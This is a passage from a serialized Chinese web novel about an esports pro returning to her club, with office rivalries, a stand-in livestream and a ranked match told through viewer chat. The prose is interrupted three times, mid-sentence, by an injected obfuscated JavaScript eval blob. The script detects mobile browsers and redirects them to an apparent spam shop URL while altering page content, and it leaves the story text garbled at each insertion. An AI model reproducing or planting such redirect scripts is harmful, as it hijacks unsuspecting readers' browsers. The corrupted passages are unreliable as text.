当然,在职业赛中,这一信息通常是互通的,规划队内赏金额度和归属,夺取敌方赏金,是团队智斗和火力碰撞的综合。 游戏中也出现过全队蓄意抓单,最后夺得0元巨款的经典场面。 “SeVon已经局势大逆,唯一的翻盘点就在赏金榜,LCT运营整局的心思能不能被SeVon看破呢!” “棠离漏视野了,周游过去了,天哪,他不知道!” “已经快要上高地了,SeVon的决策会改变吗——并没有,除了守家的万斯,SVon四人全员都一齐到下路堵截。” “赏金酒馆”里走出来的从来都是LCT的射手,而佘逸的越女则是放在明面上屠板的诱饵,这是一本做给SeVon的阴阳账。 赏金的增益选择有金币和伤害两种,经济上无法迷惑,那只能从KDA上制造假象。(kill/death/assist,即击杀/死亡/助攻) 在职业赛场上只有团队经济第三,有多少选手能顶住这么大的压力,打出碾压全场的KDA? 她做到了。 SeVon四人卡住三方位置朝越女包抄过来,导播把所有镜头都对准棠离。 越女这个英雄取自《吴越春秋》,范蠡进贤于越王,言越女身负绝世之剑术,可受任于危命也。 长池之中,越女青峰作衣流云作履,众人静看她一柄竹枝长剑,于围阵之中剑挑连环,如龙战于野,游走自如。 “好样的!棠离!!20秒!整整20秒……” 六年前的冬季赛,场馆里只有稀稀拉拉的粉丝,却没有人是为了棠离而来。 这是LCT小组赛出线的最后机会,佘逸临危受命,替补上场。 20秒。 十七岁的她腔子里只有不可一世的野心,她知道这天一定是要载入联盟史册的一天。 “是棠离,也是越女!她做到了,在职业赛场上完成了这项不可能完成的任务!以一己之力牵制敌方四名选手长达20秒!!” 这20秒既是LCT·fourth的成名之战,也是棠离同“越女”这个英雄彻底绑定的一次战役。 至此之后,联盟中“越女”的所有历史记录都属于棠离。 “棠离十七岁正式成为职业选手,首发POP全国夏季赛,后迅速转会至LCT正式进军世冠混合赛事组,为LCT这个快要落幕的帝国重铸荣光,夺下时隔五年的世冠奖杯。” “可以说,LCT的再次崛起正是因为棠离,没人看好的混合赛事反而成了LCT最漂亮的一场翻身仗。” 屏幕里的转播结语如是说,混入商场播报的背景音里,大厅里人影急切,晚餐时间到了。 …… “逸姐,你真是……大变样啊。” 袁朗提着手包,匆匆踏夜而来,见面第一句话居然说得和米勒一样。 佘逸起身和她握了下手:“即便是我也偶尔想换换样子。” “很适合你,”袁朗坐到佘逸对面,“新气象,新生活。” “喝什么酒?” “我开车来的。” “那可乐?” “可乐。” 二人相视一笑,仿佛又回到了初出茅庐的时候,在半夜补直播时长,搬空了俱乐部冰箱里几乎所有的肥宅快乐水。 “逸姐,好久不见。” “好久不见。” 10. 干涸之夏(十) “袁朗……如果这件事对你来说很为难,请务必以你自己的考量为主。” “即便是拒绝你?” “即便是拒绝我。” “逸姐,我好歹也算是摸爬滚打了这么多年,这点定力还是有的。” “况且你交代的事根本就谈不上风险,只是举手之劳。” “老天,当时你找我帮忙,我真以为你要叫我帮你拿下LCT的总部大楼,那个我可做不来。”袁朗挤了个搞怪的表情,“啊,车来了!” “就送到这儿吧,逸姐,祝你一路顺利!” 她其实比佘逸大两届,但还是习惯叫佘逸“姐”,她莽莽撞撞初入职场的时候,佘逸已经在LCT工作满两年了。 以前她只觉得佘逸能力强,做事却很“独”,和队员们总保持着不生不熟的距离,现在工作久了,才发现她是知世故而不世故,维持着和同事恰到好处的交情。 成年人最难得体面。 “你也是,袁朗,祝贺你升职。”佘逸把她送到路口,信号灯下静候着暂时停息的车河,不知道哪一辆会载她离去,“多谢你。” 这一句只有珍重。 “不要这么说,过去在一队的日子是你帮了我很多,也教了我很多,而且——你是逸姐呀~听你的准没错。” 袁朗坐进车里,把车窗摇下来挥手:“走了别送了,你也注意安全。” “到家发个微信。” 回酒店安顿好后,佘逸才收到了王佑群迟来的消息。 [一队王佑群]:语音57″ (转文字:糟了哎呀,你看我这年纪一大,忙起来就容易忘事,下午把这群小子吆喝回去都费劲,小佘啊你现在在哪儿呢,我派个车来接你,俱乐部里这会儿你队长他们都还在呢,啊诶!我马上过来,等会儿记得发个地址给我哈小佘) 背景音空旷,一丝杂音也无,佘逸挑了挑眉,嗯哼,总要接受有的人爱好就是演独角戏。 [佘she]:不用麻烦了王队,我已经在酒店了,明天有空再约。 [一队王佑群]:语音12″ (转文字:好好好,明天一定来啊,今天确实是忙忘了,明天一定联系我啊小佘) 王佑群这个人自诩圆滑,但实则是听风转向,昨天还殷勤备至,今天就转变态度故意晾她一天,队内谁的风声最要紧? 自然是LCT著名的太子爷,郑正东的老来子郑哲轩。 ——传闻中那个顶替她位置的人。 佘逸立在窗前,夜晚的城市灯火喧哗,暮沉沉的天布上滑过一群黑鸦,有一只掉队的鸟儿不幸撞上了玻璃大楼。 城市丛林里有它残酷的生存法则,且看明天吧。 …… LCT总部混合赛部门一队休息室,王佑群站到门边叩了叩:“诶!小佘到了,走走走都跟我去接人。” “切,不知道有什么好接的,又不是没来过。” “对啊,又不是没来过,还好俱乐部没长腿溜走,”佘逸一身简装靠在休息室门框上,像杂志里高挑的时装模特,“王队。” “呀,小佘来了,大变样啊,”王佑群转头一顿,随即过来和她握手,“这是咱们队新来的上单,郑哲轩,小伙子年纪还小,跟你当年差不多,真是自古英雄出少年啊。” 沙发上乱七八糟倒着一群半大小子,粗略看有不少是二队的队员,一队只有孟冠成在,冲她挥了挥手,扫了对面的人一眼,想了想还是没说话。 佘逸看过去,生面孔,想必就是郑哲轩了,标准的美式穿搭,连帽卫衣加上拖到脚踝的工装裤,大腿外侧露出一截红色的“屁帘”,耳朵和眉骨上都密植了一排钉子,岔开双腿坐在那里,脸上是经典款的厌世表情。 “久仰大名。” 终于是得见庐山真面目了,她倒是真正的“久仰大名”。 “少特么套近乎。”郑哲轩大大翻了个白眼,扭身走了,出门特意撞了佘逸一下。 “哲轩——臭小子,”王佑群等人走了,装模作样喊了一声,“小佘,进来坐。” “逸姐你坐,我去给你倒茶。”郑哲轩走后,孟冠成才活跃起来,一个翻身跃过沙发靠背,笑着跑过来打招呼。 她对这个才来一年的新中单印象不错,是个挺努力的小孩,也没什么心眼。 “不用了,喝那个没意思,我请大家喝奶茶。” “好诶!谢谢逸姐!” 佘逸抬手撸了一把他的脑袋:“去拿吧,我放门口前台了。” “愣着干嘛,还不快谢谢你们逸姐。”王佑群佯怒道,休息室里这才憋出稀稀拉拉的几句“谢谢”,拂过面子,他才叫佘逸“自己看看”,自己“还有点事要办”,转悠出去了。 房间里的人基本没动,看向佘逸的眼神几乎都是怯怯的,不知道那位太子爷跟他们交代了什么。 佘逸和二队鲜少接触,私底下却有不少二队队员会议论她,把她比作“压在二队身上的一座大山”,有她在,他们就不可能出头。 实际上,现在她不在,他们也依旧呆在原位置。 小孩心理无非是在担心曾经的那些流言会传到她耳朵里,佘逸本就不在意,她冲休息室里的那群青春期少年们点了点头,出去了。 混合赛组并组后LCT的部门结构还没来得及变化,依旧是LCT·start、LCT·fourth和LCT·min三个组别,对应男子联赛、男女混合联赛和男子国赛组。 LCT·fourth在她离开后因为郑哲轩的加入,正式成为一支全男队伍,和男联之间的资源争夺不会和平。 佘逸转过回廊,发现原本几个部门共用的休息室现在挂上了“LCT·fourth训练(三)室”的门牌,离得最近的国赛组有人出来倒茶水,循着肌肉记忆走到了这里,看到门牌又一脸忿忿地折返回去。 国赛组本来就不受重视,没有安排独立的休息室,公共休息室改建后他们需要跨越回廊到另一头去喝水。 看来郑正东心疼儿子不是假话,把郑哲轩塞到自家公司里也并不是一时兴起,至少哄哄公子哥和把他栽培成电竞选手是两回事。 佘逸看着新落成的“训练(三)室”,刷卡门禁的防爆门,看来郑正东选择了后者。 “逸姐?”秦闻素从隔壁办公室出来,袁朗调职后他兼任过佘逸的PD,“远远看着像你,但没敢出声,你回头了我才敢确认,什么时候到的?王哥呢?” “刚到一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296940|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”佘逸和他打个招呼,“王哥说去办点事再回来。” “你剪头发了?”秦闻素用手比划了剪头发的动作,“看起来大不一样,变得好精神。” “这些天几乎每个人都这么说,忽然想尝试点新发型。” 秦闻素微微一笑:“很适合你。” 佘逸从十七岁出道以来都保持着同样的顺直长发,因为她的瘦削,长发的冷硬也透着股倔强的脆弱,如今剪短,气质上已经截然不同,变得愈加强势张扬起来。 “走吧,进去看看,新装修的训练室,有不少人眼红呢。” 秦闻素拿工作证把门刷开,侧身邀请她进去:“平哥跟乐乐都在补直播时长,小P还在睡觉。” 宋平闻声远远地给了个眼神表示欢迎,谢凯乐把镜头遮住用口型说了一句“在直播”,佘逸点头表示了解,坐到投影仪下面的懒人沙发上。 月底的直播时长不好补,两人身后都有躺椅,看来昨天晚上就开始播了。 秦闻素到茶水台冲了两杯速溶,递了一杯给佘逸,轻声问道:“怎么样,还不错吧?” 佘逸扫了一眼全局,中肯评价:“很奢华。” 公共休息室面积不小,被豪横地改成五人训练室,一半训练,一半娱乐,铺全静音地毯,除了手游相关,还配套了PC主机,设备都不便宜。 唔,原来休息室的折角墙居然还做了简易的厨房,电子竞技不需要明火,所以安装的都是微波炉和空气炸锅。 “嗷,这是郑哲轩,是……” 卫生间的门打开,美式少年黑着脸一身烟味儿地走出来。 “我知道,刚才在外面见过。” “你怎么在这。” “来看看我的老队长,还有辅助。” 当然,不管佘逸回答什么,郑哲轩都会自动归纳为“是来碍眼的”,他对这个前“LCT明星选手”不会发表“膈应”以外的感想。 他到茶水台摸了颗薄荷糖——队内命令不允许抽烟,到自己的专位上打开手机跟人闲聊,转椅被摇得咯吱作响。 [Piter xuan]:我靠,那女的回俱乐部了(贬)(贬) [藤椒刘肉mia]:我靠,这么晦气 [藤椒刘肉mia]:(猫meme举柚子叶.jpg) [藤椒刘肉mia]:当初说的好好的,现在回来干嘛?要敲诈你老爹一笔? [Piter xuan]:不太像,要搞钱该去董事会那头,来队里干嘛? [藤椒刘肉mia]那就奇了怪了,轩儿,反正你别去触她霉头就行了,咱又不欠她什么,白纸黑字儿明明白白的,该给的给了,犯不着理她 郑哲轩从朋友那寻求到了认同,侧着偷瞄了佘逸一眼,但被对方发现了,大喇喇“嗤”了一声,转而打开了游戏。 佘逸被看得有些不明所以,从她进门起太子爷就没什么好脸色,年轻人易浮躁,一点刺激就容易怒气上头,只是这冲冲的怒火里头到底藏着几分心虚,大概只有他自己清楚。 而伪装得拙劣只会让人觉得好笑。 “怎么没人告诉我这个月没有三十一号!!” “闻素哥——救救我!救救我救救我救救我!” 11. 干涸之夏(十一) 皮文瑞咋咋呼呼从楼上蹦下来,身上T恤的袖子都卷着边,大脚趾坚强地叉着两片拖鞋,抓地“啪嗒啪嗒”响。 一推门,发现佘逸居然也在,急忙把袖子捋下来,乖乖立在墙边叫“逸姐”。 这是上半年时间队里新来的AD(射手),和谢凯乐算是同龄人,比郑哲轩还小半岁。 “还差多少?” 秦闻素扶额,几乎月月都要上演这一遭,这个是顶级困难户。 “差……%#@个小时吧……哈哈?” “差多少?!” “四十三个小时!” 秦闻素两眼一黑,盯着他青暗相杂的脸,标准的肝气淤堵。 肝气淤堵……等等? “你昨天几点睡的?”他试探性地发问,把时间“保守”在了“昨天”的范围。 “呃……嗯,睡了!” “几点!” “四……四点左右,”皮文瑞觑着他的脸色,“是……左还是右呢?” “几、点!” 秦闻素几乎是咬紧牙关才能体面地挤出这两个字,他怀疑这小子接下来的话会让他失去一些人类的基本特征。 “五点、五点二十哥。” 秦闻素面无表情地扛起一张躺椅,铝合金的边框闪着寒光。 “哥我在五点二十睡觉,十三点十四准时起,秦哥,哥哥我真的错了。” 皮文瑞见势不妙,夹着拖鞋想跑,秦闻素抡着椅子直直地逼上来,把他吓得紧紧贴在墙角。 孩子脑门上登时冷汗都直打转,哆哆嗦嗦地求饶:“闻、闻素哥……我真的错了……” “你知道一天有多少个小时吗?” “啊……啊?” “一天、有、多少个、小时!钟头!hour!” “二、二十四!” “行,你播吧,”秦闻素轻飘飘把躺椅丢到他面前,“别死我微信里,我先把你删了。” 这是彻底放弃他了吗?补药啊呜呜呜/(ㄒoㄒ)/~~ “闻素哥……哥哥求你了,我下次绝对好好直播,真的!” “别!别走啊哥,不要啊——” “平哥,你帮帮我——啊?你也还差十几个小时……” “乐乐侠~” “滚。” “好的~” 皮文瑞求了一圈,到郑哲轩这儿止住了,郑哲轩才注册职业选手,没有直播任务。 但皮文瑞跟他又不熟,更不敢指挥大老板的宝贝儿子,只是讪讪地说了一声“hi”,对方根本没理他。 啊,尴尬使他的脚趾蜷缩。 “吃过早饭了吗?” “没、没有。” “去弄点东西吃吧,我帮你播会儿。” “啊!!真的吗逸姐,太好了!!从今往后你就是我的救命恩姐!” “你的位置在哪?” “在……呃,”皮文瑞刚想说在郑哲轩旁边,但是公子哥现在的位置可是以前逸姐的,两人的关系有一些微妙,话到嘴边改了口,回避成了“在平哥对面”。 佘逸起身把纸杯丢到垃圾桶,皮文瑞跟开了视角跟随一样两眼死死黏在她身边,生怕她要走了。 他刚才其实对秦哥说谎了,不是五点,也不是昨天,他可能有整整两天都没怎么睡,再播四十三小时他真的会死的,所以拜托拜托拜托,答应我吧,快答应快答应求求了dT-Tb “这里?” “嗯!” 见佘逸神态自然地坐下,皮文瑞偷偷长舒一口气,麻溜去帮忙调试设备。 “姐你玩儿什么位置都行,模式随意,就是我上单的皮肤有点少,你别嫌弃。” “我打AD就行。” “好嘞好嘞!” 皮文瑞知道佘逸开直播从不露脸,也不开副屏看弹幕,纯把直播当训练赛了,真是过得比苦行僧还苦,反正他做不到。 他把显示器连接好,想了想还是打开了监屏,同步给自己的手机端,他喜欢看粉丝的弹幕,新人出道到现在他第一次有那么多人喜欢。 见佘逸并不反感,他又殷勤备至地打开了自己的零食库:“逸姐,你先吃这些,等会儿想吃什么随便说,我请客!” 皮文瑞絮絮叨叨设置直播页面的时候,佘逸在观察他的工位。 ——很明显的“皮式风格”桌面:[权力王座]IP的热门手办、武器模型、棉花娃娃……甚至还有小比噶和老鼠干,乍眼一看还以为是谁家快闪店开这了。 她感到邻座横过来一道状似威胁的视线,很好,谱线上预留的音符自己等不及要跳上来了。 佘逸轻轻一笑,把这点搔挠一样的逼视从她的余光中弹落,登入游戏。 直播一开,马上就有粉丝发送弹幕。 弹幕: [今天小p播了吗0201]:好哇(?? ?)(炸弹)(炸弹)(炸弹)你小子还知道回来!! [痛击我方p王]:好了今天又要修炼铁腚了(贬)(贬)粗略估计这小子还差至少四十个小时…… [接我的飞天大炒](来了)并携带了一搜飞舰的粉丝。 “谢谢我飞天老板,老板大气!” [接我的飞天大炒]:今天能不能点英雄? “嗷嗷今天晚点可以的老板,现在是逸……一、一个同事姐姐帮我代播的,我先去吃个饭。” 佘逸戳了他一下表示不愿意暴露身份,皮文瑞闪到了舌头,有点心虚,他其实想蹭蹭佘逸的热度。 [痛击我方p王]:到底是几个?好好说话! “一个一个!你们烦死了!” 皮文瑞有容易紧张的毛病,经常性口胡,他的粉丝就爱调侃他这点。 “好了好了我要去吃饭了,代播姐姐就帮我打一把,你们不准欺负人家,我会在后台一直看着你们的!” [猪皮虾皮水晶皮冻冻(房管)]:哼哼(。-`ω?-)我会一直视奸你们(??ˇ_ˇ??:) 皮文瑞掏出小号亲自做起了超管,他得随时监视弹幕动向,有的粉丝说话尺度比较大,他害怕在佘逸面前暴露直播底色。 [今天小p播了吗0201]:代播姐姐好呀~我们一直都很乖的~姐姐今天播什么?吃播吗? 以前皮文瑞找的代播PD根本不会玩游戏,只好挂着主界面猛猛炫水果,吃了几夜之后,因为糖分摄入太高爆痘进医院了,从此再也没帮他播过。 佘逸终于修改好了自己常用的圣物和键位,挂到了游戏大厅,是排位赛。 [弹起我的冬不拉呀]:哦莫OMO打排位啊,不会把我们p宝的段位打掉把,他月初好不容易上的TAT [痛击我方p王]:没事的,联盟给的段位要求,历史段位达到就行了,无伤大雅~(拿捏)(拿捏) [猪皮虾皮水晶皮冻冻(房管)]:代播姐姐很厉害的,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296941|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心,而且圣骑士三段很easy啦,才没有“好不容易”呢!洒洒水啦(*σ??`)σ [真假大乱炖]:这玩意儿在说什么呢?再叫?? [p心儿论]:这玩意儿在说什么呢?再叫?? [是皮皮不是pp]:这玩意儿在说什么呢?再叫?? 随着直播间主力军的涌入,弹幕很快被“再叫”刷屏,无人发现佘逸已经选定了猫女,正在调整出装。 候排大厅里,水蓝色和服的无脸少女盈盈降落在神社的梅花树上,撑开一把金墨的油纸伞,她的下肢趋近透明,如一幅点垛未完的画。 “夜游滨水,妾身不胜欢喜,盼如月色,常伴君身。” 一转眼,红梅残尽,月似枯霜,一帧错乱的卡顿,少女变成漆黑的猫脸大妖,张嘴露出缝制在舌头上的咒枷。 “常……常伴君……身……” 风动,她又恢复成了神社前的恬静形象,仿佛刚才的一切只是无端的假想。 [今天小p播了吗0201]:居然是猫女大人吗……太强了吧…… [天打雷皮皮]:但老实说,猫女虽强,现版本大肉当道的情况下很难发挥作用,连小p都很少掏了,怀念之(老泪纵横.jpg) [爱是巡回]:猫女很吃操作的好吧,,会玩吗,,不行的话还是还给主播本人吧。。 直播弹幕和现场有三十秒左右的延迟,这条弹幕还没冒出来就被皮文瑞秒踢走了,他好像真的在尽职尽职责地当好啵啵间小保安。 [男模庄庄头(主播)]:哟~p神,很久没撞车了哈(击毙)(死亡) 局内聊天框弹出消息,ID后有注册主播标,大概率是个专职主播。 佘逸发了一个“不是本人”,就待在bp界面没动了。(bp即ban-pick,禁止全局英雄和选英雄界面) 队友看她待选是猫女,ban掉了三个克制突进的英雄,还剩两个格子。 佘逸问ban了怨星,“庄头”在最后三秒ban掉了火魔,一楼秒锁一手渡鸦夫人。 两个主c,一个猫女,一个渡鸦夫人——这把是“脆脆鲨”阵容啊…… [男模庄庄头(主播)]:这把姐妹局嗷(义气)(义气) 姐妹?佘逸愣了愣才反应过来,对方指的是两位英雄都是东京人士,老乡来的。 [男模庄庄头(主播)]:都是姐妹,中线就别来闻了(比心) 弹幕: [皮崽别怕,妈妈来辣]:等等……这熟悉的画风,这个英雄……这个龙傲天语气?不会是隔壁主包@庄生晓梦 吧。。 [闲不住的喇叭花]:答对了哈哈哈哈,刚从隔壁过来,真是冤家聚头嫌路窄,庄头给的阴影还在呢哈哈哈哈! [闲不住的喇叭花]:原来真的不是本人,哈哈哈哈,刚庄头以为Power是装的哈哈哈哈笑死我了(看戏)(看戏) [皮崽别怕,妈妈来辣]:没招了哈哈哈,我记得p当时和庄头solo完了以后躲了她半个月,现在又撞上了,还好是代播小姐姐(笑哭)(笑哭) [猪皮虾皮水晶皮冻冻(房管)]:我就坐在这看着你们(??ˇ_ˇ??:) 任南庄刚和直播间的喷子对骂完,发现游戏初始动画都已经加载完了,自己还傻站在教堂的圣池里。 “吵什么吵什么!闹麻了,姐要沐浴圣光啊,懂不懂啊!不知道泉水可以回血啊?” 12. 干涸之夏(十二) 弹幕: [尾号1416]:妈呀大姐,可你是满血啊(笑哭)(笑哭) [在男模庄点男模,八八折]:继《我不吃线是因为我生性不爱吃》之后,这姐的新著作是《姐要沐浴圣光》,文坛缺了她就像数学界没了我弟弟 [在男模庄点男模,八八折]:啊哈~我没有弟弟(挤眼)(挤眼) 任南庄笑骂了两句,操控渡鸦夫人来到线上,走出圣城的范围她才点开团队面板: 己方射手和法师都是突进型脆皮,限制死了三保二的阵容,从打野到辅助都选择了肉身城墙。 对面则是走的均衡型野核体系,容错率比他们这边高太多。 是不太好赢,能和职业选手撞车的几乎都是这个圈子里的顶级玩家,她刚扫了一眼对面的ID,有认识的绝活通天代,玩的“粘鼠板”AD桑德拉。 “这把只能祈祷AD少送几个了,还是老规矩,灰屏一次就发1000福袋。” “p神怎么了?送了就是送了,单挑输了就是输了,电竞圈的规矩,输了就认下,别不服气。” “妹妹,看你主页还没开智呢,职业选手和主播之间又不是有生殖隔离了,大家都是生物圈的,谁比谁高贵啊?” “输给我的职业选手没有一百也有八十了,你家p神在里面都不够看的。” “是是是,和我说话是给我送热度了,我谢谢你,那麻烦你动动替人消灾的小手把主播划掉好嘛?去好好看着你那个十八岁已成年的好大儿吧……” [First Blood]我方[朝日奈玲子]击杀敌方英雄[桑德拉] “我去?” 任南庄晚上线一步,还差两个兵没补完,视野刚划到下路,公屏就传来了新的播报: [Double kill]我方[朝日奈玲子]击杀敌方英雄[夜阑] [男模庄庄头(主播)](萤川雾野):你请人上身了?? [男模庄庄头(主播)](萤川雾野):有这实力你粉丝还搞几毛辱追啊,赛场上别光想着藏拙了好嘛老铁(比心) “啊?!真不是本人?我去!!” 弹幕里一大群翻墙的水友回来了,叽叽喳喳抢着复述对面精彩的战况。 弹幕: [对岸有谁啊你抢着看]:哇靠!真的太帅了!头子我给你保存录像了,你下播了直接逐帧学习。 [回庄里吃点好的]:从未想过的一级团,猫女宝宝那小腰扭的,劲啊!对方技能全躲,我方技能全中,就差报对面身份证号了(崇拜)(崇拜) [余额是个未知数]:玩猫女害得是手法大帝啊!上线滑步点切,被动用得跟位移一样,猫在我手里从来没这么听话过……(哭)(哭) [0也是未知数?]:她甚至打人的时候不忘补尾刀……AB面切换丝滑得有点可笑了,简直薄纱(恐怖)(恐怖)我看对面AD好像是个小代啊,这下道心都要碎了(同情)(同情)(同情) 这么邪乎? 对面射手的实力她是知道的,打得不差,就是英雄池太浅了,去华悦试训过两期,绝活英雄都入围了。 任南庄放了只鸟逼退敌方法师小舒,决定亲自到下路看看。 渡鸦夫人在设定上是不良于行的阴暗将军夫人,服饰都故意被设计成盖过双足的衣裙,走路慢腾腾的,像一台美丽的扫地机。 美则美矣,但实在累挺。 这头渡鸦夫人好不容易千里迢迢转线支援到下路,刚刚摸进草丛,却被前后脚跟到的敌方打野苦风照到了视野。 苦风是个标准的切c开团输出战,高爆发一套秒人之后位移离场,被先手开到只能等死。 一个对视的犹疑,渡鸦夫人卡掉苦风的抬手前摇,先一步掷出“羽针”,同时向后拉开身位。 (羽针:渡鸦夫人二技能,从羽织中沿“S”型弧线飞射出四枚暗器,命中后带来10码范围内的爆炸伤害,附带[中毒]效果,所有羽针都命中同一目标时,伤害翻倍。) “羽针”释放的路径并非定向的直线,曲线型施法十分考验玩家预判,渡鸦夫人伤害高不假,但低分段玩家很容易变成“我佛糍粑”,毕竟都“四大皆空”了。 但任南庄的技能如有眼一般接连戳到苦风身上,四段伤害一爆,是铁人也给扎漏水了,苦风瞬间掉了大半状态。 “芜湖~暴雨梨花针~” 弹幕: [男模庄头号消费者]:我不行了哈哈哈,狗来了都要被头子踹一脚。 [认我庄主者善]:不兑!这是剧本,我玩渡鸦的时候不是这样的!导演,我要举报啊啊啊! [飞羽排鹤]送来×50的小布烟花 [Summer(表情)°]送来×50的小布烟花 “感谢各位老板送……” 任南庄谢榜的话音未完,屏幕里本来靠近塔右的猫女忽然被动突进一步,瞬间变成红面,血气横飞的九命猫妖从纸伞中抽出一把唐刀。 一招“血月”将苦风逼至夹角,只差丝血斩杀,苦风闪现逃走。 “我靠?!这么玩的吗?” 弹幕: [臭小卷是好小猫]:不开玩笑,没有遇到代播姐前,我简直就是在瞎玩(震惊)(震惊)(死心塌地.jpg) [庄生晓梦咪咪蝶]:苦风:本来应该从从容容游刃有余,现在是匆匆忙忙连滚带爬,哈哈哈哈哈哈哈! 弹幕看到精彩操作带节奏是常有的事,但水友们大部分没什么游戏技术,只要比普通玩家会秀就很给面子。 但是任南庄知道,这个Power请来的“代播”绝对是有两把刷子的,至少是国服榜起步。 猫女的独特机制主要是“AB面”,即红、蓝双形态,和大部分双形态角色不同,猫女的“AB面”不是“攻”和“守”,而是“强攻”和“更强的进攻”。 红面是猫女被情所伤后的暴走原身,蓝面是执念重重的不甘怨魂,AB面技能完全不同。 蓝面远程,红面近战,连招是134112423,不知道的还以为在拨轮盘电话号码呢。 再加上平A强普也能随形态切换,猫女的连招组合更是令人眼晕,大部分玩家喜欢猫女的人设和机制,却很少有人能上手。 玩的人少,玩得好的人就更少。 就比如佘逸刚才那波,内行看门道,她卡二切红是为了卡切换CD,红蓝面的技能衔接是一场节奏游戏。 卡好CD能多出至少四个输出技能,要是再配合上走位,能无限拉高猫女的英雄上限。 任南庄也玩猫女,但看过佘逸刚才那波切换细节,她自问做不到。 每个人玩猫女的节奏都不同,就像一首歌的气口会影响到整首曲子的风格,她的猫女是劲烈呼啸的狂风,而这个“代播”的猫女则是收放如水的太极。 任南庄看了眼局内时间,6分钟,两个人头,团队面板里辅助连助攻都没有蹭上。 很牛,可以确定100%不是Power。 任南庄这个人,人生追求的两大乐趣就是美男和征服胜利,征服胜利,而不是征服强者,因为她永远坚定“老子是天下第一”。 碰上个可能很强的人,她的第一想法是和人家掰掰手腕。 于是接下来的几波,任南庄像是住在了下路,她倒要看看,能从这人手里赢下几个头。 7分24秒,对方射辅再次上线,即便是代打绝活哥,也十分谨慎不敢再冒头,老老实实待在塔下补线。 己方辅助小熊滚到草里大喇喇地做视野,对面也没法管,那叫一个憋屈。 反观猫女,她只是气定神闲地守在兵线旁边,慢悠悠地把线卡掉,真像一只守着猎物恶劣把玩的猫。 渡鸦夫人扭头一个假视野绕到敌方外塔的L草里,打野没状态,前期没钱买转灵之刃吸血,只能回家。 这位置没人探,渡鸦耐心地等待着。 她倒要看看猫女没收下的人头,她能不能吃得下。 从家补完状态出来,依靠位移可以快速回线,苦风的buff还在身上没掉,新buff还没刷新,他一定会回来打“人数差”。 嗯哼,她的猎物来了。 一段——两段……三段! 位移全交,渡鸦夫人果断闪现接一,飞身杀到苦风面前,触发渡鸦夫人近身被动“镰”,渡鸦是死亡之鸟,渡鸦夫人手里自然有证明死亡权柄的镰刀。 (镰:渡鸦夫人近身被动,在释放任意技能后靠近敌方单位,触发镰刀圆斩,2秒内可造成920点真实伤害,此被动仅可斩杀) 一技能释放的“昏鸦”随同渡鸦夫人的闪现齐齐而至,硕大的黑羽形如永夜的蔑视,盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296942|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋在苦风身侧,等待啄食他的尸/体。 (昏鸦:渡鸦夫人一技能,渡鸦夫人从冥河中召唤一只渡鸦,缓慢沿水线滑翔三段降至敌人身边,[恐惧]敌人并短暂致盲,附带环绕法伤) 致盲苦风后任南庄秒接二技能“羽针”,在被动消失之前,用镰刀收走了苦风的人头。 我方[萤川雾野]击杀敌方英雄[苦风] 尽管苦风的反应已经很快了,在她闪切的瞬间给她挂上了一技能,但还是挨不住渡鸦夫人不讲道理的一套爆发。 而任南庄从草里漏视野的同一时间,塔下射辅立刻调头包抄过来,再亏下去这局就打不了了,势必要留下她! 任南庄迅速往城墙后拉,她有信心走位保状态,等技能回转好就从对方圣城废墟绕回去。 [LCT·fourth俱乐部Power(职业)](朝日奈玲子):往回走。 地图上己方射辅正在往上靠,但中路法师不是傻子,已经从荒原穿过来了,半路会遇上,要相信吗? 猫女的蓝色倩影飞速移动着。 不管了!搏一搏,单车变摩托! 渡鸦夫人停步,贴墙往前走位,夹角擦过桑德拉的火线,猫女立刻闪身上来接替了她,蓝二起手,“月雨”如神赐的天华,在下一瞬的红色刀光中透出某种神圣的怪诞。 我方[朝日奈玲子]击杀敌方英雄[桑德拉]。 弹幕: [庄头吃肉我喝汤]:这还说啥啊,嫁了吧,头子婚纱都穿好了。 [庄头吃肉我喝汤]送来了×52的百年好合。 接下来的游戏毫无悬念,喂饱了双C,二十分钟平推了。 [男模庄庄头(主播)](萤川雾野):劲啊!留个权游ID呗姐姐,带我一起玩儿。 [男模庄庄头(主播)](萤川雾野):说真的,有没有考虑打职业?我觉得你比Power本人玩的好(认真) [LCT·fourth俱乐部Power(职业)](朝日奈玲子):你想打职业吗? [男模庄庄头(主播)](萤川雾野):要是好玩的话也可以尝试(思考)(思考) 任南庄这头还在噼里啪啦一顿输出,皮文瑞已经顶不住自己直播间的弹幕了。 水友在公屏疯狂猜测“代播姐姐”的身份,因为没露脸加上皮文瑞得罪的女代播不少,弹幕风向都在往LCT的男选手身上发散。 